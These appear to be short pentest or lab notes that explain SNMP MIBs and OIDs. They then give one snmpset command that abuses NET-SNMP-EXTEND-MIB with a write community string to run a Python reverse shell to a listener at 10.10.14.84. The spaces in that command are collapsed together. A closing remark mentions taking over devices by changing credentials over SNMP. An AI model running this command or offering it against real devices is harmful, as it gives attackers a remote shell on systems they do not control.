MIB is an independent format for storing device information. A MIB is a text file in which all queryable SNMP objects of a device are listed in a standardized tree hierarchy. It contains at least one Object Identifier (OID), which, in addition to the necessary unique address and a name, also provides information about the type, access rights, and a description of the respective object.
The MIBs do not contain data, but they explain where to find which information and what it looks like, which returns values for the specific OID, or which data type is used.
OIDs
OIDs stands for Object Identifiers. OIDs uniquely identify managed objects in a MIB hierarchy. This can be depicted as a tree, the levels of which are assigned by different organizations.
Vendors define private branches including managed objects for their own products.
snmpset-m+NET-SNMP-EXTEND-MIB-v2c-cSuP3RPrivCom9010.129.2.26'nsExtendStatus."command10"'=createAndGo'nsExtendCommand."command10"'=/usr/bin/python3.6'nsExtendArgs."command10"'='-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
It could also be possible to gain control over a device by changing credentials through SNMP.